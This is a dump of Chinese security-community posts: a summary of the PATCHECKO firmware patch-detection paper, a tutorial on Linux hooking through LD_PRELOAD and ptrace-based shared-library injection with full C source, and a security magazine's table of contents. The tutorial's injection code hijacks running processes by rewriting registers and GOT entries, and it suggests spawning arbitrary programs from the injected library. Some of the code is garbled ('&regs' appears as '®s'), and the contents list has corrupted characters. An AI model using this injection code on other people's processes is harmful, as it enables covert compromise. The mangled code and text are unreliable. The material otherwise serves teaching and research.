text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# Fr3v1带你读论文-Hybrid Firmware Analysis for Known Mobile and IoT Security
Vulnerabilities
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
[Hybrid Firmware Analysis for Known Mobile and IoT Security
Vulnerabilities](https://ieeexplore.ieee.org/abstract/document/9153399)([针对移动和物联网设备已知漏洞的混合固件分析](https://www.anquanke.com/post/id/259246))的太长不看版
## 主要内容
移动设备和物联网设备的操作系统以及它们随后的升级文件通常是以二进制文件的形式发布。由于这些二进制文件通常是闭源的，用户或第三方企业若是想测试软件的安全性只能依靠逆向工程，此外，如何验证二进制文件中最近的补丁是否有效也是一个悬而未决的问题。常规的软件补丁修复是提升移动设备和物联网设备安全性的重要保障，这就需要开发人员、集成商和供应商的共同支持，及时把补丁分发到受影响的所有设备上。但实际上，供应商们对移动和物联网产品遵循着不同，甚至是错误的安全更新议程。其次，以往的研究反映出存在着“潜在的补丁缺口(a
hidden patch
gap)”：有些供应商错误的声称他们已经修复了漏洞。因此，在二进制文件中检测漏洞是否被修复对于软件安全至关重要。以往对二进制文件中的漏洞检测大多基于静态的代码相似性分析，然而它无法捕捉程序的动态行为，因此可能产生大量误报且难以区分漏洞是否已经修复。
在论文中，作者提出了一个针对可执行文件漏洞和补丁存在性检测的框架PATCHECKO。它混合了静态检测和动态检测方法，能够对X86和arm架构的二进制代码进行漏洞检测。作者的测试结果表明这个框架对漏洞检测和漏洞函数区分具有较高的准确率。
## 设计与实现
PATCHECKO的工作需要以下三个步骤：
1. 训练漏洞检测器
2. 用漏洞检测器对固件进行静态分析
3. 对2分析得出的可能含有漏洞的函数进行动态分析，验证漏洞是否存在并识别函数中的漏洞是否被修复
工作过程如图：
## 0x1 漏洞静态检测器和静态分析
对于已知漏洞挖掘，深度学习方法的准确性和效率都明显优于过去的二分图匹配和动态相似性测试。PATCHECKO的漏洞检测器使用Keras和TensorFlow实现了神经网络的建模、训练和分类，使用TensorBoard来实现整个训练过程的可视化。
### Ⅰ 构建数据集
使用反汇编器（如IDA）的插件提取程序控制流图（CFG），并生成每个函数以及其基本块级的特征向量，每个特征向量包括48个特征，如下图：
### Ⅱ 深度学习
作者在采用了一个线性层堆叠的序贯模型。
图3展示了一个用于深度学习模型的样本向量。样本向量由函数向量对和一个表示两个函数是否相似的比特组成，其中两个相似的特征向量对应着相同源代码的两个二进制函数。图4是该6层序列模型训练的实际过程，第一层接收输入张量的形状（input
shape）的信息。这个模型使用了从数据集中提取的函数特征进行训练。
## 0x2 动态分析
动态分析的工作流程如图5：
该阶段使用相同的输入值执行两个函数，并比较两个函数的执行轨迹和其他特征的相似性。
### Ⅰ 动态分析引擎的输入数据
作者使用Fuzz工具（在评估过程中选用了LibFuzzer）生成函数的多组输入数据，以完全覆盖CFG，并测试证明这些数据都能正常运行于漏洞函数和已修复漏洞的函数。接着使用这些数据来测试每个候选函数，筛去执行过程中崩溃的函数。
随后PATCHECKO将剩下函数作为可执行文件导出，在后续动态分析中使用DLL注入进行执行
### Ⅱ 插桩测试
作者使用了gdbserver和debugserver对函数执行进行跟踪和特征提取，提取的特征包括指令的数量和类型、系统调用的次数和类型，以及库函数调用和堆栈数据读写量等，具体在表Ⅱ中展示：
对于每个输入执行时，动态分析引擎会对每个特征会生成一组观察结果。当该函数里的所有指令都被覆盖到后，PATCHECKO会根据所有结果生成一个单独的向量。这个过程会在每次对函数进行不同输入时重复。
### Ⅲ 计算函数语义相似度
对于每个函数对(f,g)，PATCHECKO基于它们的动态特征向量距离计算出语义相似度。对于每个函数的特征向量，PATCHECKO使用了闵氏距离(Minkowski
Distance)作为测量相似度的方法，在评估过程中，作者把p设为3。闵氏距离公式的一般式如下：
在这个公式中，f代表了CVE函数，g代表目标固件中的候选函数，k指的是用到了第k个执行环境，x和y分别代表f和g的动态特征向量，此时P设为3。
每个函数相似度的最终结果为所有执行环境中得到相似距离的平均值，相似度计算方程如下（k为执行环境编号）：
### Ⅳ 补丁检测
PATCHECKO使用了一个差分引擎来收集静态和动态相似性的检测结果，以此判断漏洞是否被修复。
对于给定的漏洞函数f<sub>v</sub>、已修复函数f<sub>p</sub>和目标函数f<sub>t</sub>，差分引擎会首先生成三个值：f<sub>v</sub>、f<sub>p</sub>和f<sub>t</sub>的静态特征、sim<sub>v</sub>与sim<sub>t</sub>、sim<sub>p</sub>与sim<sub>t</sub>的动态语义相似性得分以及S<sub>v</sub>和S<sub>p</sub>之间的差分特征（differential
signatures）。静态特征即上述的48个不同的量化特征，动态语义相似度得分与上述的函数相似度指标。差分特征（differential
signatures）是一个用于比较CFG结构的附加指标，即两个函数的CFG拓扑以及语义信息，例如函数参数、局部变量和库函数调用。
## 评价
### 评估结果
对于模型训练数据集，作者使用Clang从Android-8.1.0_r36的源码中编译了100个库函数，每个库根据不同的目标平台（ x86, AMD64,
ARM 32bit， ARM 64bit ISA）、优化级别（O0, O1, O2,O3, Oz,
Ofast）生成了23个不同的二进制文件，总共获得了2108个库文件，包含了2037772个函数特征样本。其中1222663个函数用于模型训练，407554个函数用于校验，407555个函数用于下图的测试
图8展示了在训练了大约15小时后，深度学习模型的准确率和损失，其中准确率可达到96%。
作者对Android Things 1.0 和 Google Pixel 2 XL (Android 8.0)
的固件进行了评估。所用的漏洞函数数据集来自Android Security
Bulletins，包括了从2016年7月到2018年11月的漏洞，涵盖2076个漏洞。检测结果表明，模型的静态检测平均准确率高于93%
对于动态分析输出的漏洞函数，除了深度学习阶段就被漏报的CVE-2017-13209外，PATCHECKO能将其余所有预期的目标函数输出到结果的前三位。
对于函数是否已修复的检测，PATCHECKO在25个CVE漏洞函数中只遗漏了CVE-2018-9470，该CVE的漏洞函数和修复函数仅差了一个整数。
## 缺点
1. 在静态检测时，PATCHECKO通过比较候选函数与已修复/未修复函数来检测是否为目标函数，这导致了可能会产生遗漏
2. 检测漏洞是否已修复时，由于CFG表示的特征粒度不够细，可能会因为漏洞函数和已修复函数之间的差异非常微小，导致相似性检测可能无法捕捉到它们之间的差异。
第二点或许可以通过应用/结合其他程序表示方法，如CDG、PDG等结构来进行优化。但如作者所说的，这样可能还需要进一步对方案通用性方面进行设计。 | 社区文章 |
简单来说，hook也就是我们常说的钩子，以替换的方式把改变程序中原有的函数功能，而注入，则更偏向于插入自定义函数/代码，代码注入一般是一次性的，而Hook劫持是比较稳定持久的
## 利用LD_PRELOAD自定义加载so
正常情况下, Linux 动态加载器`ld-linux`(见 man 手册 ld-linux(8)) 会搜寻并装载程序所需的共享链接库文件,
而`LD_PRELOAD`是一个可选的环境变量, 包含一个或多个指向共享链接库文件的路径. 加载器会先于 C
语言运行库之前载入`LD_PRELOAD`指定的共享链接库，也就是所谓的预装载 `preload`
做个简单的演示
#include <stdio.h>
#include <string.h>
int main(int argc, char const *argv[])
{
puts("welcome!");
sleep(1);
char *ptr = malloc(0x100);
puts("what's your name:");
read(0,ptr,0x20);
printf("nice to meet you,%s\n", ptr);
return 0;
}
这个是我们的目标程序target，编译`gcc ./target.c -o target`
#include <stdio.h>
int sleep(int t)
{
puts("your sleep is hook by me!");
}
这个是要用于制作so文件的hook1.c
编译生成so：`gcc -fPIC --shared hook1.c -o hook1.so`
然后进行hook
`LD_PRELOAD=./hook1.so ./target`
可以看到sleep函数已经被替换成功了，这就是简单的hook演示，但这种东西似乎并没有什么卵用，就跟给程序打个patch一样
因此这里演示一个稍微有点卵用的东西，如果我们想统计某个函数在整个程序运行过程中运行了几次，每次运行的相关数据情况等等，那么hook就能派上一点用场
修改一下我们的target程序
#include <stdio.h>
#include <string.h>
void function()
{
for (int i = 0; i < 10; ++i)
{
sleep(1);
}
puts("good bye~");
}
int main(int argc, char const *argv[])
{
puts("welcome!");
sleep(1);
char *ptr = malloc(0x100);
puts("what's your name:");
read(0,ptr,0x20);
printf("nice to meet you,%s\n", ptr);
function();
return 0;
}
然后hook2.c如下
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
typedef int(*SLEEP)(unsigned int t);
static int sleep_times=0;
int sleep(unsigned int t)
{
static void *handle = NULL;
static SLEEP true_sleep = NULL;
sleep_times++;
if( !handle )
{
handle = dlopen("libc.so.6", RTLD_LAZY);
true_sleep = (SLEEP)dlsym(handle, "sleep");
}
printf("sleep has been called for %d times!\n", sleep_times);
return true_sleep(t);
}
这次的hook的作用是自定义sleep函数，每次调用sleep就计数一次，然后马上执行glibc中真正的sleep函数
编译的命令是`gcc -fPIC -shared -o hook2.so hook2.c -ldl`
最后一个参数`-ldl`是为了加载`<dlfcn.h>`所在的共享库dl
> **void *dlopen(const char **** filename ***, int** _flag**_ );**
而dlsym函数用于取函数的地址，存放在一个函数指针中
> **void *dlsym(void **** handle ***, const char **** symbol ***);**
上面的hook2.c中也就是用这两个函数实现先调用自定义sleep记录次数，然后再调用glibc中的sleep，从而既达到了我们的目的，又不影响程序的执行逻辑
运行效果如下，可以看到sleep被调用了11次
为了方便hook，可以定义以下宏
#include <sys/types.h>
#include <dlfcn.h>
#if defined(RTLD_NEXT)
# define REAL_LIBC RTLD_NEXT
#else
# define REAL_LIBC ((void *) -1L)
#endif
#define FN(ptr,type,name,args) ptr = (type (*)args)dlsym (REAL_LIBC, name)
当调用dlsym的时传入RTLD_NEXT参数，gcc的共享库加载器会按照装载顺序获取下一个共享库中的符号地址
因此通过上面的宏定义，REAL_LIBC代表当前调用链中紧接着下一个共享库，从调用方链接映射列表中的下一个关联目标文件获取符号
在使用的时候只需要在自定义hook函数中加入FN即可方便进行替换，如替换execve函数
int execve(const char *filename, char *const argv[], char *const envp[])
{
static int (*func)(const char *, char **, char **);
FN(func,int,"execve",(const char *, char **const, char **const));
printf("execve has been called!");
return (*func) (filename, (char**) argv, (char **) envp);
}
## 利用ptrace进行hook
利用LD_PRELOAD方法进行hook，很多时候是限制比较多的，它要求在程序在执行前就把hook.so加入环境变量中，对于已经运行了的程序，则没有办法采用这种方法进行hook
这里就介绍另外一种hook的方法，利用ptrace进行hook
众所周知，ptrace是Linux提供的一种专门用于调试的系统调用，具体的用法可见man文档
这里直接介绍利用ptrace进行hook的原理和步骤
1. 首先需要使得hook程序利用ptrace attach target程序，保护现场，保存原寄存器内容和内存数据
2. 通过得到指向link_map链表的指针，通过一系列的遍历操作，根据函数名查找到各种函数的真实地址
3. 通过修改target程序的寄存器和内存使其调用dlopen函数，从而将hook.so加入target内存空间
4. 修改需要被hook的func函数地址的GOT表为hook.so中hook_func函数地址
5. 完成hook，恢复现场，恢复原寄存器内容和内存数据，退出ptrace
这5步当中最麻烦的就是第二步，接下来通过代码逐步分析五个步骤的实现方式，最终的完整代码可见附件
### **第一步**
这里主要是涉及ptrace的基本运用，首先定义一系列有关ptrace的操作函数
void ptrace_attach(pid_t pid)
{
if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0)
{
error_msg("ptrace_attach error\n");
}
waitpid(pid, NULL, WUNTRACED);
ptrace_getregs(pid, &oldregs);
}
//oldregs为全局变量
在attach上目标程序后马上保存他的所有的原始寄存器的值，对应在最后detach的时候还原
### **第二步**
为了调用dlopen函数加载hook.so到目标函数的内存空间，就必须知道dlopen函数的地址，但是一般情况下我们的程序不会`#include
<dlfcn.h>`，因此我们这里选择找到`__libc_dlopen_mode`的地址，利用他来打开so，该函数的参数用法和dlopen完全一样
如何查找指定函数名的真实地址呢？
通过link_map链表的指针链，在各个so文件中寻找函数对应的地址
这里定义了两个函数
> map = get_linkmap(pid);
> sym_addr = find_symbol(pid, map, oldfunname);
**首先从get_linkmap开始讲解**
首先从程序头部IMAGE_ADDR（64为的一般为0x400000）开始读取信息找到头部表的地址
根据头部表再找.dynamic节
再遍历.dynamic节，找到.got.plt节，而这个就是我们平常说的got表了
GOT表中每一项都是64bit的`Elf64_Addr`地址
但其中GOT表前三项用于保存特殊的数据结构地址：
GOT[0]为段”.dynamic”的加载地址
GOT[1]为ELF所依赖的动态链接库链表头struct link_map结构体描述符地址
GOT[2]为`_dl_runtime_resolve`函数地址
于是这样就找到了link_map
struct link_map* get_linkmap(int pid)
{
int i;
Elf_Ehdr *ehdr = (Elf_Ehdr *) malloc(sizeof(Elf_Ehdr));
Elf_Phdr *phdr = (Elf_Phdr *) malloc(sizeof(Elf_Phdr));
Elf_Dyn *dyn = (Elf_Dyn *) malloc(sizeof(Elf_Dyn));
Elf_Addr *gotplt;
// 读取文件头
ptrace_getdata(pid, IMAGE_ADDR, ehdr, sizeof(Elf_Ehdr));
// 获取program headers table的地址
phdr_addr = IMAGE_ADDR + ehdr->e_phoff;
// 遍历program headers table，找到.dynamic
for (i = 0; i < ehdr->e_phnum; i++)
{
ptrace_getdata(pid, phdr_addr + i * sizeof(Elf_Phdr), phdr, sizeof(Elf_Phdr));
if (phdr->p_type == PT_DYNAMIC)
{
dyn_addr = phdr->p_vaddr;
break;
}
}
if (0 == dyn_addr)
{
error_msg("cannot find the address of .dynamin\n");
} else
{
printf("[+]the address of .dynamic is %p\n", (void *)dyn_addr);
}
// 遍历.dynamic，找到.got.plt
for (i = 0; i * sizeof(Elf_Dyn) <= phdr->p_memsz; i++ )
{
ptrace_getdata(pid, dyn_addr + i * sizeof(Elf_Dyn), dyn, sizeof(Elf_Dyn));
if (dyn->d_tag == DT_PLTGOT)
{
gotplt = (Elf_Addr *)(dyn->d_un.d_ptr);
break;
}
}
if (NULL == gotplt)
{
error_msg("cannot find the address of .got.plt\n");
}else
{
printf("[+]the address of .got.plt is %p\n", gotplt);
}
// 获取link_map地址
ptrace_getdata(pid, (Elf_Addr)(gotplt + 1), &lmap_addr, sizeof(Elf_Addr));
printf("[+]the address of link_map is %p\n", (void *)lmap_addr);
free(ehdr);
free(phdr);
free(dyn);
return (struct link_map *)lmap_addr;
}
找到后返回一个结构指针，link_map的结构体如下
typedef struct link_map {
caddr_t l_addr; /* Base Address of library */
#ifdef __mips__
caddr_t l_offs; /* Load Offset of library */
#endif
const char *l_name; /* Absolute Path to Library */
const void *l_ld; /* Pointer to .dynamic in memory */
struct link_map *l_next, *l_prev; /* linked list of of mapped libs */
} Link_map;
**接下来讲解find_symbol函数**
上面说到GOT[2]为`_dl_runtime_resolve`函数地址
该函数的作用是遍历GOT[1]指向的动态链接库链表直至找到某个符号的地址，然后将该符号地址保存至相应的GOT表项中，而find_symbol函数的作用正是模拟`_dl_runtime_resolve`函数，在动态链接库中找到我们想要的函数地址
lf_Addr find_symbol(int pid, Elf_Addr lm_addr, char *sym_name)
{
char buf[STRLEN] = {0};
struct link_map lmap;
unsigned int nlen = 0;
while (lm_addr)
{
// 读取link_map结构内容
ptrace_getdata(pid, lm_addr, &lmap, sizeof(struct link_map));
lm_addr = (Elf_Addr)(lmap.l_next);//获取下一个link_map
// 判断l_name是否有效
if (0 == lmap.l_name)
{
printf("[-]invalid address of l_name\n");
continue;
}
nlen = ptrace_getstr(pid, (Elf_Addr)lmap.l_name, buf, 128);
//读取so名称
if (0 == nlen || 0 == strlen(buf))
{
printf("[-]invalud name of link_map at %p\n", (void *)lmap.l_name);
continue;
}
printf(">> start search symbol in %s:\n", buf);
Elf_Addr sym_addr = find_symbol_in_linkmap(pid, &lmap, sym_name);
if (sym_addr)
{
return sym_addr;
}
}
return 0;
}
最后执行了`Elf_Addr sym_addr = find_symbol_in_linkmap(pid, &lmap, sym_name);`
继续来看find_symbol_in_linkmap函数，这个函数的主要作用是根据handle_one_lmap返回的lmap_result结构体中的信息来判断
我们需要找的函数是否在这个so中
Elf_Addr find_symbol_in_linkmap(int pid, struct link_map *lm, char *sym_name)
{
int i = 0;
char buf[STRLEN] = {0};
unsigned int nlen = 0;
Elf_Addr ret;
Elf_Sym *sym = (Elf_Sym *)malloc(sizeof(Elf_Sym));
struct lmap_result *lmret = handle_one_lmap(pid, lm);
//lmap_result结构体，包含了SYMTAB、STRTAB、RELPLT、REPLDYN等信息
/*
struct lmap_result
{
Elf_Addr symtab;
Elf_Addr strtab;
Elf_Addr jmprel;
Elf_Addr reldyn;
uint64_t link_addr;
uint64_t nsymbols;
uint64_t nrelplts;
uint64_t nreldyns;
};
*/
for(i = 0; i >= 0; i++)
{
// 读取link_map的符号表
ptrace_getdata(pid, lmret->symtab + i * sizeof(Elf_Sym) ,sym ,sizeof(Elf_Sym));
// 如果全为0，是符号表的第一项
if (!sym->st_name && !sym->st_size && !sym->st_value)
{
continue;
}
nlen = ptrace_getstr(pid, lmret->strtab + sym->st_name, buf, 128);
if (buf[0] && (32 > buf[0] || 127 == buf[0]) )
{
printf(">> nothing found in this so...\n\n");
return 0;
}
if (strcmp(buf, sym_name) == 0)
{
printf("[+]has find the symbol name: %s\n",buf);
if(sym->st_value == 0)
{//如果sym->st_value值为0，代表这个符号本身就是重定向的内容
continue;
}
else
{// 否则说明找到了符号
return (lmret->link_addr + sym->st_value);
}
}
}
free(sym);
return 0;
}
再来康康handle_one_lmap是如何把当前link_map指向的so中的SYMTAB、STRTAB、RELPLT、REPLDYN信息提取出来的：
struct lmap_result *handle_one_lmap(int pid, struct link_map *lm)
{
Elf_Addr dyn_addr;
Elf_Dyn *dyn = (Elf_Dyn *)calloc(1, sizeof(Elf_Dyn));
struct lmap_result *lmret = NULL;
// 符号表
Elf_Addr symtab;
Dyn_Val syment;
Dyn_Val symsz;
// 字符串表
Elf_Addr strtab;
// rel.plt
Elf_Addr jmprel;
Dyn_Val relpltsz;
// rel.dyn
Elf_Addr reldyn;
Dyn_Val reldynsz;
// size of one REL relocs or RELA relocs
Dyn_Val relent;
// 每个lmap对应的库的映射基地址
Elf_Addr link_addr;
link_addr = lm->l_addr;
dyn_addr = lm->l_ld;
ptrace_getdata(pid, dyn_addr, dyn, sizeof(Elf_Dyn));
while(dyn->d_tag != DT_NULL)
{
switch(dyn->d_tag)
{
// 符号表
case DT_SYMTAB:
symtab = dyn->d_un.d_ptr;
break;
case DT_SYMENT:
syment = dyn->d_un.d_val;
break;
case DT_SYMINSZ:
symsz = dyn->d_un.d_val;
break;
// 字符串表
case DT_STRTAB:
strtab = dyn->d_un.d_ptr;
break;
// rel.plt, Address of PLT relocs
case DT_JMPREL:
jmprel = dyn->d_un.d_ptr;
break;
// rel.plt, Size in bytes of PLT relocs
case DT_PLTRELSZ:
relpltsz = dyn->d_un.d_val;
break;
// rel.dyn, Address of Rel relocs
case DT_REL:
case DT_RELA:
reldyn = dyn->d_un.d_ptr;
break;
// rel.dyn, Size of one Rel reloc
case DT_RELENT:
case DT_RELAENT:
relent = dyn->d_un.d_val;
break;
//rel.dyn Total size of Rel relocs
case DT_RELSZ:
case DT_RELASZ:
reldynsz = dyn->d_un.d_val;
break;
}
ptrace_getdata(pid, dyn_addr += (sizeof(Elf_Dyn)/sizeof(Elf_Addr)), dyn, sizeof(Elf_Dyn));
}
if (0 == syment || 0 == relent)
{
printf("[-]Invalid ent, syment=%u, relent=%u\n", (unsigned)syment, (unsigned)relent);
return lmret;
}
lmret = (struct lmap_result *)calloc(1, sizeof(struct lmap_result));
lmret->symtab = symtab;
lmret->strtab = strtab;
lmret->jmprel = jmprel;
lmret->reldyn = reldyn;
lmret->link_addr = link_addr;
lmret->nsymbols = symsz / syment;
lmret->nrelplts = relpltsz / relent;
lmret->nreldyns = reldynsz / relent;
free(dyn);
return lmret;
}
可以看到 这里利用了`link_map->l_ld`读取到 `Elf_Dyn *dyn`，从而拿到有关当前so的 `.dynamic`的内容
再用switch语句区分各种`dyn->d_tag`下的不同类别的信息
循环处理完毕后将存储的有用信息的`(struct lmap_result *)lmret` 返回
至此，我们构造了一个find_symbol函数用于查找目标程序内存空间里已加载so的函数
### 第三步
通过第二步的find_symbol函数，可以得到`__libc_dlopen_mode`的地址，接下来就是对目标程序的寄存器进行操作
/* 查找要被替换的函数 */
old_sym_addr = find_symbol(pid, map, oldfunname);
/* 查找hook.so中hook的函数 */
new_sym_addr = find_symbol(pid, map, newfunname);
/* 查找__libc_dlopen_mode，并调用它加载hook.so动态链接库 */
dlopen_addr = find_symbol(pid, map, "__libc_dlopen_mode");
/*把hook.so动态链接库加载进target程序 */
inject_code(pid, dlopen_addr, libpath);
这里的重点在于`inject_code(pid, dlopen_addr, libpath);`
int inject_code(pid_t pid, unsigned long dlopen_addr, char *libc_path)
{
char sbuf1[STRLEN], sbuf2[STRLEN];
struct user_regs_struct regs, saved_regs;
int status;
puts(">> start inject_code to call the dlopen");
ptrace_getregs(pid, ®s);//获取所有寄存器值
ptrace_getdata(pid, regs.rsp + STRLEN, sbuf1, sizeof(sbuf1));
ptrace_getdata(pid, regs.rsp, sbuf2, sizeof(sbuf2));//获取栈上数据并保存在sbuf1、2
/*用于引发SIGSEGV信号的ret内容*/
unsigned long ret_addr = 0x666;
ptrace_setdata(pid, regs.rsp, (char *)&ret_addr, sizeof(ret_addr));
ptrace_setdata(pid, regs.rsp + STRLEN, libc_path, strlen(libc_path) + 1);
memcpy(&saved_regs, ®s, sizeof(regs));
printf("before inject:rsp=%zx rdi=%zx rsi=%zx rip=%zx\n", regs.rsp,regs.rdi, regs.rsi, regs.rip);
regs.rdi = regs.rsp + STRLEN;
regs.rsi = RTLD_NOW|RTLD_GLOBAL|RTLD_NODELETE;
regs.rip = dlopen_addr+2;
printf("after inject:rsp=%zx rdi=%zx rsi=%zx rip=%zx\n", regs.rsp,regs.rdi, regs.rsi, regs.rip);
if (ptrace(PTRACE_SETREGS, pid, NULL, ®s) < 0)
{//设置寄存器
error_msg("inject_code:PTRACE_SETREGS 1 failed!");
}
if (ptrace(PTRACE_CONT, pid, NULL, NULL) < 0)
{//设置完寄存器后让目标进程继续运行
error_msg("inject_code:PTRACE_CONT failed!");
}
waitpid(pid, &status, 0);//按照最后的ret指令会使得rip=0x666，从而引发SIGSEGV
ptrace_getregs(pid, ®s);
printf("after waitpid inject:rsp=%zx rdi=%zx rsi=%zx rip=%zx\n", regs.rsp,regs.rdi, regs.rsi, regs.rip);
//恢复现场，恢复所有寄存器和栈上数据
if (ptrace(PTRACE_SETREGS, pid, 0, &saved_regs) < 0)
{
error_msg("inject_code:PTRACE_SETREGS 2 failed!");;
}
ptrace_setdata(pid, saved_regs.rsp + STRLEN, sbuf1, sizeof(sbuf1));
ptrace_setdata(pid, saved_regs.rsp, sbuf2, sizeof(sbuf2));
puts("-----inject_code done------");
return 0;
}
通过以上代码，就能使得hook.so被加载进target程序，从而实现注入so
### 第四、五步
这里就简单很多了，有了函数地址，再找到got表地址就能通过修改got表从而实现hook函数
这里首先实现一个find_sym_in_rel函数，用于找到指定函数的的got表地址
Elf_Addr find_sym_in_rel(int pid, char *sym_name)
{
Elf_Rel *rel = (Elf_Rel *) malloc(sizeof(Elf_Rel));
Elf_Sym *sym = (Elf_Sym *) malloc(sizeof(Elf_Sym));
int i;
char str[STRLEN] = {0};
unsigned long ret;
struct lmap_result *lmret = get_dyn_info(pid);
for (i = 0; i<lmret->nrelplts; i++)
{
ptrace_getdata(pid, lmret->jmprel + i*sizeof(Elf_Rela), rel, sizeof(Elf_Rela));
ptrace_getdata(pid, lmret->symtab + ELF64_R_SYM(rel->r_info) * sizeof(Elf_Sym), sym, sizeof(Elf_Sym));
int n = ptrace_getstr(pid, lmret->strtab + sym->st_name, str, STRLEN);
printf("self->st_name: %s, self->r_offset = %p\n",str, rel->r_offset);
if (strcmp(str, sym_name) == 0)
{
break;
}
}
if (i == lmret->nrelplts)
ret = 0;
else
ret = rel->r_offset;
free(rel);
return ret;
}
找好了got表地址后最后进行的就是修改got表了
/* 找到旧函数在重定向表的地址 */
old_rel_addr = find_sym_in_rel(pid, oldfunname);
ptrace_getdata(pid, old_rel_addr, &target_addr, sizeof(Elf_Addr));
ptrace_setdata(pid, old_rel_addr, &new_sym_addr, sizeof(Elf_Addr));
//修改oldfun的got表内容为newfun
To_detach(pid);//退出并还原ptrace attach前的寄存器内容
至此利用ptrace进行hook的操作就这样完成了，其实可以发现，这种hook手段离不开注入技术
### ptrace hook演示
在这里，我们的target程序如下
#include <stdio.h>
#include <unistd.h>
int main()
{
int num=10;
printf("my pid is %d\n", getpid());
puts("start hook?");
while(--num)
{
puts("hello?");
sleep(1);
}
return 0;
}
//gcc target.c -o target
hook_so源码如下
#include <stdio.h>
int newputs(const char *str)
{
write(1,"hook puts! ",11);
puts(str);
return 0;
}
//gcc hook_so.c -o hook_so.so -fPIC --shared
hook3源码见附件，太长了不贴了
编译`gcc hook3.c -o hook3 -ldl && gcc target.c -o target && gcc hook_so.c -o
hook_so.so -fPIC --shared`
运行：
$ sudo ./hook3 ./hook_so.so puts newputs 26600
--------------------------------- target pid = 26600
target oldfunname: puts
patch libpath: ./hook_so.so
patch newfunname: newputs
---------------------------------
[+]the address of .dynamic is 0x600e28
[+]the address of .got.plt is 0x601000
[+]the address of link_map is 0x7fc95aa38168
[-]invalud name of link_map at 0x7fc95aa386f8
[-]invalud name of link_map at 0x7fc95aa38b90
>> start search symbol in /lib/x86_64-linux-gnu/libc.so.6:
[+]has find the symbol name: puts
found puts at addr 0x7fc95a4b6690
[-]invalud name of link_map at 0x7fc95aa386f8
[-]invalud name of link_map at 0x7fc95aa38b90
>> start search symbol in /lib/x86_64-linux-gnu/libc.so.6:
[+]has find the symbol name: __libc_dlopen_mode
found __libc_dlopen_mode at addr 0x7fc95a58a610
>> start inject_code to call the dlopen
before inject:rsp=7fff4b267ac8 rdi=7fff4b267ad0 rsi=7fff4b267ad0 rip=7fc95a5132f0
after inject:rsp=7fff4b267ac8 rdi=7fff4b267ec8 rsi=1102 rip=7fc95a58a612
after waitpid inject:rsp=7fff4b267ad0 rdi=7fc95aa37948 rsi=7fff4b267a98 rip=666
-----inject_code done------ [-]invalud name of link_map at 0x7fc95aa386f8
[-]invalud name of link_map at 0x7fc95aa38b90
>> start search symbol in /lib/x86_64-linux-gnu/libc.so.6:
>> nothing found in this so...
>> start search symbol in /lib64/ld-linux-x86-64.so.2:
>> nothing found in this so...
>> start search symbol in ./hook_so.so:
[+]has find the symbol name: newputs
===> found newputs at addr 0x7fc95a2456e0
self->st_name: puts, self->r_offset = 0x601018
oldfunname: puts rel addr:0x601018
oldfunction addr:0x7fc95a4b6690
newfunction addr:0x7fc95a2456e0
hook has done!
***detach***
可以看到puts函数被hook成功
> ps：我的环境是Ubuntu16.04，以上所有的源码编译操作都是在以64位进行的，32位的没有实现
## 注入技术
如果我们希望进行的操作不仅仅只是hook一个函数，我还想让程序运行一系列的代码，该如何操作？
1. 比较容易被想到的就是模仿上面的ptrace操作，对目标程序的内存数据和寄存器进行修改，从而达到注入代码的目标，但是这种方法比较麻烦一方面要考虑注入前后对目标程序的影响，又要兼顾执行注入代码时的信号的发送，才能让hook程序时刻注意目标程序的执行状态
2. 先注入so进行hook，在hook.so中设计一系列执行代码
这里主要想介绍第二种，这种方法执行注入代码非常方便，基本上不需要考虑目标程序的运行环境
把hook_so.c进行修改
#include <stdio.h>
//gcc hook_so.c -o hook_so.so -fPIC --shared
int newputs(const char *str)
{
write(1,"hook puts! ",11);
puts(str);
return 0;
}
__attribute__((constructor))
void loadMsg()
{
puts("hook.so has been injected!");
puts("now let's do somesthing...");
printf("->pid:%d\n\n", getpid());
}
__attribute__((destructor))
void eixtMsg()
{
puts("bye bye~");
}
这里使用了 `__attribute__`关键词，专门用它设计两个函数分别在最开始的时候 执行和结束的时候执行
再次进行之前的hook操作：`sudo ./hook3 ./hook_so.so puts newputs 26868`
可以看到不仅成功hook，还多执行了两个函数，这里可以发挥想象，如果在hook3对target进行ptrace时得到的信息写入一个文本文件中，然后在hook.so中再读取这个文件，就能获取到本程序的大部分信息，如一些函数的地址，got表的地址等等，有了这些信息简直就是为所欲为之为所欲为
再骚一点的话，还可以新开一个子进程or线程执行execve，从而执行各种其他程序
## 参考链接
<https://www.cnblogs.com/LittleHann/p/3854977.html>
<https://jmpews.github.io/2016/12/27/pwn/linux%E8%BF%9B%E7%A8%8B%E5%8A%A8%E6%80%81so%E6%B3%A8%E5%85%A5/>
<https://github.com/plivepatch/plivepatch> | 社区文章 |
# 《书安》第五期
|
##### 译文声明
本文是翻译文章，文章来源：书安
原文地址：<http://down.jdsec.com/secbook-5/%E4%B9%A6%E5%AE%89-%E7%AC%AC%E4%BA%94%E6%9C%9F.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
**2016年1月15日《书安》第五期在小伙伴的努力下又发布啦!第五期《书安》有各种黑科技让你脑洞大开;来自**[ **@守望者实验室**
****](http://weibo.com/n/%E5%AE%88%E6%9C%9B%E8%80%85%E5%AE%9E%E9%AA%8C%E5%AE%A4?from=feed&loc=at)
**的webshell检测专题都是干货;热乎乎的漏洞月报当然更精彩啦~欢迎大家下载阅览。**
**目 录**
第一章 黑科技 ………………………………………………………………………………………………………………. 3
第 1 节 OsmocomBB SMS Sniffer ………………………………………………………………………. 3
第 2 节 Tap Lan 实戓乀“伪装癿路由” ……………………………………………………………… 18
第 3 节 通用 GPS 卫星定位平台漏洞成灾用户位置信息告怄 ……………………………… 32
第 4 节 看我如何控刢仸意女神豆浆机 ………………………………………………………………… 45
第 5 节 看我如何控刢全国消贶终竢电子信息亏劢屏 ………………………………………….. 51
第二章 渗透测试 …………………………………………………………………………………………………………. 65
第 1 节 刟用被入侵癿路由器迈入内网 ………………………………………………………………… 65
第 2 节 仍 Juniper 防火墙刡内网系统…………………………………………………………………. 74
第三章 WebShell 检测与题………………………………………………………………………………………… 77
第 1 节 Webshell 系列(1)-基亍流量癿检测方弅 ……………………………………………. 77
第 2 节 Webshell 系列(2)-深入用户癿内心 …………………………………………………… 82
第 3 节 Webshell 系列(3)-基亍行为凾枂杢収现未知癿 webshell ………………… 86
第 4 节 Webshell 系列(4)-基亍流量癿 webshell 凾枂样例 ………………………….. 90
